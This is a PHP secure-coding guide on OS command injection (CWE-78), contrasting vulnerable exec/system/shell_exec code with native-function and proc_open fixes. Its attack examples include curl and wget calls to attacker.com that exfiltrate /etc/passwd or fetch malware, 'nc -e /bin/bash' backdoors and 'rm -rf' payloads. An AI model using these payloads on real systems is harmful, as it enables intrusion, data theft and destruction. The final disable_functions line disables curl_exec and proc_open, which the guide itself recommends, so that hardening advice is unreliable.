CWE-78: OS Command Injection - PHP
Overview
OS Command Injection occurs when an application incorporates untrusted data into an operating system command without proper validation or sanitization. Attackers can execute arbitrary commands on the host operating system.
Primary Defence: Use PHP native functions (scandir, cURL, ZipArchive, etc.) instead of system commands, or if unavoidable, use proc_open() with argument arrays and bypass_shell => true.
Remediation Strategy
PRIMARY FIX - Avoid System Calls
Use PHP native functions instead of executing commands
- This eliminates the vulnerability entirely
- Do NOT use exec(), system(), shell_exec() if a PHP function exists
SECONDARY FIX - Use proc_open() with bypass_shell
Pass arguments as array with bypass_shell => true
- WARNING: Only use if Priority 1 is not possible
- Must use argument array with bypass_shell option
Defense in Depth - Input Validation
Allowlist permitted characters, use escapeshellarg() as additional layer
- Required in addition to Priority 1 or 2
- Never use validation or escaping alone
Additional Hardening - Least Privilege
Disable dangerous functions in php.ini, use restricted permissions
- Apply alongside other fixes
Decision Tree
Need to execute OS command?
├─ Is there a PHP function alternative? (scandir, cURL, ZipArchive, etc.)
│ ├─ YES → Use PHP function (Priority 1) - PREFERRED SOLUTION
│ └─ NO → Continue
│
├─ Can you use proc_open() with argument array?
│ ├─ YES → Use proc_open(['cmd', 'arg1', 'arg2'], ..., ['bypass_shell' => true]) (Priority 2)
│ └─ NO → Use escapeshellarg() with exec() (Priority 2 - less preferred)
│
└─ For ALL solutions:
├─ Add input validation (Priority 3)
└─ Apply least privilege (Priority 4)
Common Vulnerable Patterns
String Concatenation with exec()
<?php
// VULNERABLE - Command injection via string concatenation
$filename = $_GET['file'];
exec('ls -la ' . $filename);
// Attack example:
// Input: "file.txt; rm -rf /tmp/*"
// Result: Deletes all files in /tmp
Why this is vulnerable: String concatenation with exec() allows attackers to inject shell metacharacters like ;, |, or && to chain commands, such as ; rm -rf / or | curl attacker.com -d @/etc/passwd, executing arbitrary system commands.
Using Shell with User Input
<?php
// VULNERABLE - Shell command injection
$userInput = $_POST['path'];
system("cat " . $userInput);
// Attack example:
// Input: "file.txt | curl attacker.com?data=$(cat /etc/passwd)"
// Result: Exfiltrates password file
Backticks (Shell Execution Operator)
<?php
// VULNERABLE - Backticks invoke shell
$ip = $_GET['ip'];
$output = `ping -c 4 $ip`;
// Attack example:
// Input: "8.8.8.8 && cat /etc/shadow > /tmp/pwned"
// Result: Executes additional commands
Why this is vulnerable: Backticks (`) are PHP's shell execution operator that invokes the system shell, allowing attackers to inject shell metacharacters like &&, ;, or | to execute multiple commands, such as 8.8.8.8 && rm -rf /, beyond the intended operation.
Unvalidated Input in shell_exec()
<?php
// VULNERABLE - No input validation
$userFile = $_REQUEST['filepath'];
$result = shell_exec("grep pattern " . $userFile);
// Attack example:
// Input: "data.txt; wget http://attacker.com/malware.sh -O /tmp/m.sh; bash /tmp/m.sh"
// Result: Downloads and executes malware
Why this is vulnerable: shell_exec() without input validation invokes the shell, allowing attackers to chain commands with ; or && to download and execute malware, create backdoors with nc -e /bin/bash, or exfiltrate data using curl or wget.
Secure Patterns
Use PHP Native Functions (PREFERRED - Eliminates Command Injection)
<?php
// SECURE - Use PHP directory functions instead of OS commands
$files = scandir('/uploads');
foreach ($files as $file) {
if ($file != '.' && $file != '..') {
$filepath = "/uploads/$file";
$stat = stat($filepath);
echo sprintf("%s %d %s\n",
$file,
$stat['size'],
date('Y-m-d H:i:s', $stat['mtime']));
}
}
// More file operations
$content = file_get_contents($filepath); // Instead of "cat"
copy($source, $dest); // Instead of "cp"
mkdir($path, 0755, true); // Instead of "mkdir -p"
unlink($filepath); // Instead of "rm"
Why this works: PHP's built-in file system functions operate directly on files through the PHP runtime without invoking shell commands. This completely eliminates command injection vulnerabilities - there's no OS process to execute, no shell to interpret metacharacters like ;, |, or &&, and no possibility of command chaining. These functions are also faster and more portable than system commands.
Use cURL for Network Operations
<?php
// SECURE - Use cURL instead of wget/curl commands
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => false, // Prevent redirects
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => true
]);
$content = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// For downloads
$fp = fopen('download.file', 'w+');
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_exec($ch);
fclose($fp);
Why this works: cURL performs network operations through PHP's libcurl extension without executing wget, curl, or other command-line utilities. By eliminating process execution entirely, there's no attack surface for command injection - malicious URLs or parameters cannot escape into shell commands because no shell is ever invoked. The security options (SSL verification, redirect control, timeouts) provide additional protection.
Use ZipArchive/PharData for Archives
<?php
// SECURE - Use ZipArchive instead of unzip/tar commands
$zip = new ZipArchive();
if ($zip->open($archive) === TRUE) {
// Safe extraction with validation
for ($i = 0; $i < $zip->numFiles; $i++) {
$filename = $zip->getNameIndex($i);
// Prevent path traversal
if (strpos($filename, '..') !== false || $filename[0] === '/') {
throw new Exception("Unsafe archive member: $filename");
}
}
$zip->extractTo('./extracted');
$zip->close();
}
// For tar files - use PharData (PHP 5.3+)
$phar = new PharData($archive);
$phar->extractTo('./extracted', null, true);
Why this works: ZipArchive and PharData handle archive operations in PHP code without calling external tar, unzip, or 7z commands. Even if an attacker controls filenames within the archive, they cannot inject shell commands because no shell is invoked. The path traversal validation (.. and absolute path checks) prevents zip slip attacks, providing defense-in-depth.
Use String Functions for Text Processing
<?php
// SECURE - Use PHP string/regex instead of grep/awk
$content = file_get_contents($filepath);
preg_match_all($pattern, $content, $matches);
// Line-by-line processing
$lines = file($filepath, FILE_IGNORE_NEW_LINES);
$matching = array_filter($lines, function($line) use ($searchTerm) {
return strpos($line, $searchTerm) !== false;
});
Why this works: PHP's regex (preg_match_all) and string functions (strpos, array_filter) provide powerful text processing capabilities without executing grep, sed, awk, or other shell utilities. Processing text in-memory through PHP prevents command injection while offering better performance, type safety, and cross-platform compatibility than shell-based text tools.
proc_open() with Argument Array (If Process Execution Required)
WARNING: Avoid executing OS commands if at all possible. PHP has extensive functions for almost everything (file_get_contents, cURL, ZipArchive, etc.). This pattern is ONLY for cases where no PHP function exists (e.g., calling a legacy third-party binary). Always exhaust all native alternatives first.
<?php
// USE WITH CAUTION - When process execution is unavoidable, use argument array
$ip = $_GET['ip'];
// Validate IP address
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
throw new InvalidArgumentException('Invalid IP address');
}
// Use proc_open with bypass_shell option
$descriptorspec = [
0 => ["pipe", "r"], // stdin
1 => ["pipe", "w"], // stdout
2 => ["pipe", "w"] // stderr
];
// Arguments array - no shell execution
$process = proc_open(
['ping', '-c', '4', $ip], // Command and args as array
$descriptorspec,
$pipes,
null,
null,
['bypass_shell' => true] // CRITICAL: bypass shell
);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
Why this works: Using proc_open() with an argument array and bypass_shell => true passes each argument directly to the executable without shell interpretation. Even if $ip contains shell metacharacters like ; or &&, they're treated as literal argument data rather than command separators. The bypass_shell option is critical - without it, PHP may still invoke a shell on some platforms. Input validation provides defense-in-depth.
escapeshellarg() with exec() (Legacy - Less Preferred)
WARNING: escapeshellarg() is error-prone and has had bypass vulnerabilities in the past. Use proc_open() with bypass_shell instead. Avoid exec() entirely if possible.
For older PHP versions or when proc_open is not available.
<?php
// RISKY - Use escapeshellarg() when proc_open not available
$filename = $_GET['file'];
// Validate filename
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $filename)) {
throw new InvalidArgumentException('Invalid filename');
}
// Use escapeshellarg() to escape the argument
$safe_filename = escapeshellarg($filename);
exec("ls -la /uploads/$safe_filename", $output, $return_var);
Why this works: escapeshellarg() adds single quotes around the string and escapes any existing single quotes, ensuring the entire input is treated as a single literal argument to the shell. Combined with allowlist validation (alphanumeric + safe characters only), this prevents command injection. However, proc_open() with bypass_shell is preferred because it avoids shell invocation entirely, eliminating an entire class of potential escaping bypasses.
Input Validation (Defense in Depth)
Allowlist Validation
<?php
function validateFilename($filename) {
// Only allow alphanumeric, underscore, dash, dot
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $filename)) {
throw new InvalidArgumentException('Invalid filename');
}
return $filename;
}
function validateIPAddress($ip) {
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
throw new InvalidArgumentException('Invalid IP address');
}
return $ip;
}
function rejectDangerousChars($input) {
$dangerous = [';', '|', '&', '$', '>', '<', '`', "\n", '(', ')'];
foreach ($dangerous as $char) {
if (strpos($input, $char) !== false) {
throw new SecurityException('Invalid characters detected');
}
}
}
Laravel Validation
<?php
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
public function ping(Request $request) {
$validator = Validator::make($request->all(), [
'ip' => 'required|ip'
]);
if ($validator->fails()) {
return response()->json($validator->errors(), 400);
}
$ip = $request->input('ip');
// Safe to use with proc_open
$process = proc_open(
['ping', '-c', '4', $ip],
$descriptorspec,
$pipes,
null,
null,
['bypass_shell' => true]
);
// ...
}
Escaping Functions (Defense in Depth - Not Sufficient Alone)
escapeshellarg() - Escape Single Argument
<?php
// Escapes and quotes a string to be used as a shell argument
// Adds single quotes around the string and escapes any existing single quotes
$filename = escapeshellarg($_GET['file']);
exec("cat /logs/$filename"); // Argument is properly quoted
// Example: Input "file.txt" → Output 'file.txt'
// Example: Input "'; rm -rf /" → Output ''\'''\'''; rm -rf /'
// WARNING: IMPORTANT: Use with input validation as defense in depth
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $_GET['file'])) {
throw new InvalidArgumentException('Invalid filename');
}
$safe_file = escapeshellarg($_GET['file']);
exec("ls -la $safe_file");
escapeshellcmd() - Escape Entire Command String
<?php
// Escapes shell metacharacters in entire command string
// Escapes: #&;`|*?~<>^()[]{}$\, \x0A and \xFF
$cmd = escapeshellcmd("ls -la /uploads/{$_GET['dir']}");
exec($cmd);
// WARNING: Less commonly used - prefer escapeshellarg() for arguments
// Can be bypassed in certain contexts - use with caution
WARNING: Don't Use Both Together
<?php
// WRONG - double escaping can cause issues:
$arg = escapeshellarg($_GET['file']);
$cmd = escapeshellcmd("cat $arg"); // Can still be vulnerable!
// CORRECT - use one or the other:
$arg = escapeshellarg($_GET['file']);
exec("cat $arg"); // Use escapeshellarg for arguments
// OR
$cmd = escapeshellcmd("cat {$_GET['file']}");
exec($cmd); // Use escapeshellcmd for entire command
Symfony Process Component (Recommended)
<?php
use Symfony\Component\Process\Process;
$ip = $_GET['ip'];
// Validate IP
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
throw new \InvalidArgumentException('Invalid IP');
}
// Use Symfony Process - automatically handles escaping
$process = new Process(['ping', '-c', '4', $ip]);
$process->setTimeout(10);
$process->run();
if ($process->isSuccessful()) {
echo $process->getOutput();
} else {
echo $process->getErrorOutput();
}
Dangerous Functions to Avoid
<?php
// NEVER USE THESE WITHOUT EXTREME CAUTION:
exec($cmd) // Execute command, return last line
system($cmd) // Execute and output result
shell_exec($cmd) // Execute via shell, return output
passthru($cmd) // Execute and pass raw output
`$cmd` // Backtick operator - same as shell_exec()
popen($cmd, 'r') // Open pipe to process
proc_open($cmd, ...) // OK if using bypass_shell and array
// SAFER ALTERNATIVES:
proc_open(['cmd', 'arg'], ..., ['bypass_shell' => true])
// Or avoid system commands entirely - use PHP functions
Verification
After implementing the recommended secure patterns, verify the fix through multiple approaches:
- Manual testing: Submit malicious payloads relevant to this vulnerability and confirm they're handled safely without executing unintended operations
- Code review: Confirm all instances use the secure pattern (parameterized queries, safe APIs, proper encoding) with no string concatenation or unsafe operations
- Static analysis: Use security scanners to verify no new vulnerabilities exist and the original finding is resolved
- Regression testing: Ensure legitimate user inputs and application workflows continue to function correctly
- Edge case validation: Test with special characters, boundary conditions, and unusual inputs to verify proper handling
- Framework verification: If using a framework or library, confirm the recommended APIs are used correctly according to documentation
- Authentication/session testing: Verify security controls remain effective and cannot be bypassed (if applicable to the vulnerability type)
- Rescan: Run the security scanner again to confirm the finding is resolved and no new issues were introduced
disable_functions Configuration
Consider disabling dangerous functions in php.ini:
; Disable dangerous functions in production
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source